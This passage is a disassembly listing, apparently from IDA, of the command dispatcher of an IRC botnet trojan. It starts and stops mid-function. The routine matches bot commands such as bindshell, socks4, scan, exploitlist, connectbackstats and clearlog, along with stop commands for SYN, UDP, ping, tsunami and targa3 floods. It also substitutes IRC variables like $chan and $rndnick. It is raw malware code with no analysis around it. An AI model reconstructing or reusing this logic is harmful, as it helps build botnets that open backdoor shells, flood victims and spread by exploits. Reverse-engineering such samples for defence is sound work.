loc_40232B:				; CODE XREF: sub_401AC7+82Aj
					; sub_401AC7+82Fj
		mov	esi, [ebp+var_AC]


loc_402331:				; CODE XREF: sub_401AC7+862j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F6C
		push	edi
		push	offset dword_42CC80
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402157
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40237C
		mov	eax, dword_4C91B8
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_40237C
		push	eax
		push	ecx
		push	offset dword_42CC64
		jmp	loc_401E84
; ---------------------------------------------------------------------------


loc_40237C:				; CODE XREF: sub_401AC7+897j
					; sub_401AC7+8A7j
		push	edi
		push	offset dword_42CC5C
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402157
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402157
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402157
		push	eax
		push	ecx
		push	offset dword_42CC44
		jmp	loc_401E84
; ---------------------------------------------------------------------------


loc_4023BB:				; CODE XREF: sub_401AC7+7B0j
					; sub_401AC7+76CCj
		call	near ptr 2680DCDh
		nop
		push	eax
		push	offset unk_42CC08
		jmp	loc_4082FD
; ---------------------------------------------------------------------------


loc_4023CC:				; CODE XREF: sub_401AC7+6DAj
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset unk_42CBC4
		push	eax
		call	sub_41C006
		add	esp, 10h
		jmp	loc_40830C
; ---------------------------------------------------------------------------


loc_4023F3:				; CODE XREF: sub_401AC7+6CEj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40253F
		cmp	[ebp+var_A4], ebx
		jz	loc_402518
		push	1Bh
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jnz	loc_402507
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AAC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		push	[ebp+esi+var_80]
		call	sub_41BEF9
		mov	[ebp+var_2914],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB4],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2994]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CB9C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B3AD
		add	esp, 34h
		mov	[ebp+var_2910],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB4]
		push	ebx
		push	eax
		push	offset word_415FB6
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_2910]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4024F6


loc_4024E0:				; CODE XREF: sub_401AC7+A2Dj
		cmp	[ebp+var_2904],	ebx
		jnz	loc_40830C
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_4024E0
; ---------------------------------------------------------------------------


loc_4024F6:				; CODE XREF: sub_401AC7+A17j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42CB64
		jmp	loc_4082FD
; ---------------------------------------------------------------------------


loc_402507:				; CODE XREF: sub_401AC7+95Dj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB34
		jmp	loc_4082FD
; ---------------------------------------------------------------------------


loc_402518:				; CODE XREF: sub_401AC7+94Dj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB00
		jmp	loc_4082FD
; ---------------------------------------------------------------------------


loc_402529:				; CODE XREF: sub_401AC7+6B3j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429090
		mov	[edi], ecx
		jnz	loc_401F6C


loc_40253F:				; CODE XREF: sub_401AC7+941j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aC	; "c"
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964B
		push	[ebp+arg_8]
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964B
		cmp	[ebp+var_A4], ebx
		jnz	short loc_40258F
		push	[ebp+var_8C]
		push	offset dword_42CCD4
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409643


loc_40258F:				; CODE XREF: sub_401AC7+AACj
		cmp	[ebp+arg_28], ebx
		jnz	loc_409643
		xor	edi, edi
		cmp	dword_4294D0, ebx
		jle	loc_402744
		mov	[ebp+arg_20], offset dword_43B4C0


loc_4025AD:				; CODE XREF: sub_401AC7+B05j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4025D3
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294D0
		jl	short loc_4025AD
		jmp	loc_402744
; ---------------------------------------------------------------------------


loc_4025D3:				; CODE XREF: sub_401AC7+AF5j
		push	offset asc_42CDD0 ; " :"
		push	[ebp+arg_0]
		call	sub_41C080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F6C
		mov	cl, byte_429090
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429090
		mov	[eax+3], cl
		lea	ecx, dword_43B4D8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402628:				; CODE XREF: sub_401AC7+C12j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C080
		add	esp, 14h
		test	eax, eax
		jz	short loc_402694
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_402694
		lea	eax, dword_43B4C0[edi]
		push	eax
		call	sub_41B960
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026CF
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41C080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026CF
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4183EC
		add	esp, 0Ch
		jmp	short loc_4026CF
; ---------------------------------------------------------------------------


loc_402694:				; CODE XREF: sub_401AC7+B89j
					; sub_401AC7+B90j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026CF
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4183EC
		add	esp, 18h


loc_4026CF:				; CODE XREF: sub_401AC7+BA2j
					; sub_401AC7+BB6j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402628
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_4026EC:				; CODE XREF: sub_401AC7+C71j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C080
		add	esp, 14h
		test	eax, eax
		jz	short loc_40272F
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40272F
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4183EC
		add	esp, 0Ch


loc_40272F:				; CODE XREF: sub_401AC7+C4Dj
					; sub_401AC7+C53j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_4026EC
		mov	[ebp+var_2C8], 1


loc_402744:				; CODE XREF: sub_401AC7+AD9j
					; sub_401AC7+B07j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429090
		jz	short loc_40275D
		cmp	[ebp+var_2C8], ebx
		jz	loc_40294E


loc_40275D:				; CODE XREF: sub_401AC7+C88j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_4183EC
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_1	; "$user"
		push	edi
		call	sub_4183EC
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_4183EC
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE77
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_4183EC
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_4183EC
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41C080
		add	esp, 14h


loc_4027CF:				; CODE XREF: sub_401AC7+E00j
		test	eax, eax
		jz	loc_4028CC
		push	edi
		push	[ebp+arg_0]
		call	sub_41C080
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_A0]
		push	offset asc_42CABC ; ")"
		push	eax
		call	sub_41C864
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40281B
		cmp	[ebp+var_A0], 39h
		jle	short loc_402831


loc_40281B:				; CODE XREF: sub_401AC7+D49j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BD70
		add	esp, 0Ch


loc_402831:				; CODE XREF: sub_401AC7+D52j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jle	short loc_402857
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEF9
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40286B
; ---------------------------------------------------------------------------


loc_402857:				; CODE XREF: sub_401AC7+D79j
		call	sub_41C062
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40286B:				; CODE XREF: sub_401AC7+D8Ej
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B960
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BD10
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4183EC
		push	edi
		push	[ebp+arg_0]
		call	sub_41C080
		add	esp, 30h
		jmp	loc_4027CF
; ---------------------------------------------------------------------------


loc_4028CC:				; CODE XREF: sub_401AC7+D0Aj
		mov	edi, 1FFh
		lea	eax, [ebp+var_428C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_428C]
		push	edi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_4EF8]
		push	offset asc_42CDCC ; " "
		push	eax
		call	sub_41C864
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40291C:				; CODE XREF: sub_401AC7+E6Aj
		push	offset asc_42CDCC ; " "
		push	ebx
		call	sub_41C864
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40291C
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401F6C
		add	ecx, 3
		mov	[eax], ecx


loc_40294E:				; CODE XREF: sub_401AC7+C90j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F6
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F6
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049BD
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049BD
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40491B
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40491B
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40490C
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40490C
		push	edi
		push	offset aRulez	; "rulez"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aRz	; "rz"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048E9
		push	edi
		push	offset aSt	; "st"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048E9
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047EB
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047EB
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047EB
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047EB
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046E5
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046E5
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402AFB
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CA18
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402AFB:				; CODE XREF: sub_401AC7+101Aj
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045C3
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045C3
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B4E
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9F0
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402B4E:				; CODE XREF: sub_401AC7+106Dj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B77
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9D4
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402B77:				; CODE XREF: sub_401AC7+1096j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BA0
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9B8
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402BA0:				; CODE XREF: sub_401AC7+10BFj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BC9
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C9A4
		push	offset dword_42C998
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402BC9:				; CODE XREF: sub_401AC7+10E8j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BF2
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C978
		push	offset dword_42C968
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402BF2:				; CODE XREF: sub_401AC7+1111j
		push	edi
		push	offset dword_42C95C
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C1B
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C950
		push	offset dword_42C944
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402C1B:				; CODE XREF: sub_401AC7+113Aj
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C44
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C930
		push	offset dword_42C924
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402C44:				; CODE XREF: sub_401AC7+1163j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C6D
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C908
		push	offset dword_42C8F8
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402C6D:				; CODE XREF: sub_401AC7+118Cj
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C96
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C8DC
		push	offset dword_42C8CC
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402C96:				; CODE XREF: sub_401AC7+11B5j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CBF
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C8B4
		push	offset dword_42C8A8
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402CBF:				; CODE XREF: sub_401AC7+11DEj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E15
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C950
		push	offset dword_42C944
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		push	esi
		push	0Eh
		push	offset dword_42C930
		push	offset dword_42C924
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C890
		push	offset dword_42C884
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		push	esi
		push	16h
		push	offset dword_42C878
		push	offset dword_42C86C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C8DC
		push	offset dword_42C8CC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		push	esi
		push	12h
		push	offset dword_42C8B4
		push	offset dword_42C8A8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C85C
		push	offset dword_42C84C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		push	esi
		push	13h
		push	offset dword_42C83C
		push	offset dword_42C82C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C908
		push	offset dword_42C8F8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C7F8
		push	[ebp+var_88]
		push	edi
		call	sub_409862
		add	esp, 34h
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_402E15:				; CODE XREF: sub_401AC7+1207j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E3E
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C85C
		push	offset dword_42C84C
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402E3E:				; CODE XREF: sub_401AC7+135Dj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E67
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C83C
		push	offset dword_42C82C
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402E67:				; CODE XREF: sub_401AC7+1386j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E90
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C890
		push	offset dword_42C884
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402E90:				; CODE XREF: sub_401AC7+13AFj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EB9
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C878
		push	offset dword_42C86C
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402EB9:				; CODE XREF: sub_401AC7+13D8j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EE2
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C7B0
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402EE2:				; CODE XREF: sub_401AC7+1401j
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045AB
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045AB
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404593
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404593
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F5F
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C760
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402F5F:				; CODE XREF: sub_401AC7+147Ej
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F88
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C73C
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402F88:				; CODE XREF: sub_401AC7+14A7j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FB1
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C71C
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402FB1:				; CODE XREF: sub_401AC7+14D0j
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40457D
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40457D
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404567
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404567
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404551
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404551
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40453B
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40453B
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40451C
		push	edi
		push	offset aR	; "r"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40451C
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044FA
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044FA
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044B2
		push	edi
		push	offset aQ	; "q"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044B2
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404474
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404474
		push	edi
		push	offset aId	; "id"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40443D
		push	edi
		push	offset aI	; "i"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40443D
		push	edi
		push	offset aR3start	; "r3start"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40317D
		call	sub_418835
		test	eax, eax
		mov	eax, offset unk_42C65C
		jnz	short loc_40314F
		mov	eax, offset unk_42C638


loc_40314F:				; CODE XREF: sub_401AC7+1681j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 1Ch
		jmp	loc_40830C
; ---------------------------------------------------------------------------


loc_40317D:				; CODE XREF: sub_401AC7+1673j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435E
		push	edi
		push	offset aT	; "t"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435E
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40433B
		push	edi
		push	offset aAl	; "al"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40433B
		push	edi
		push	offset aLog	; "log"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424B
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424B
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422F
		push	edi
		push	offset aClg	; "clg"
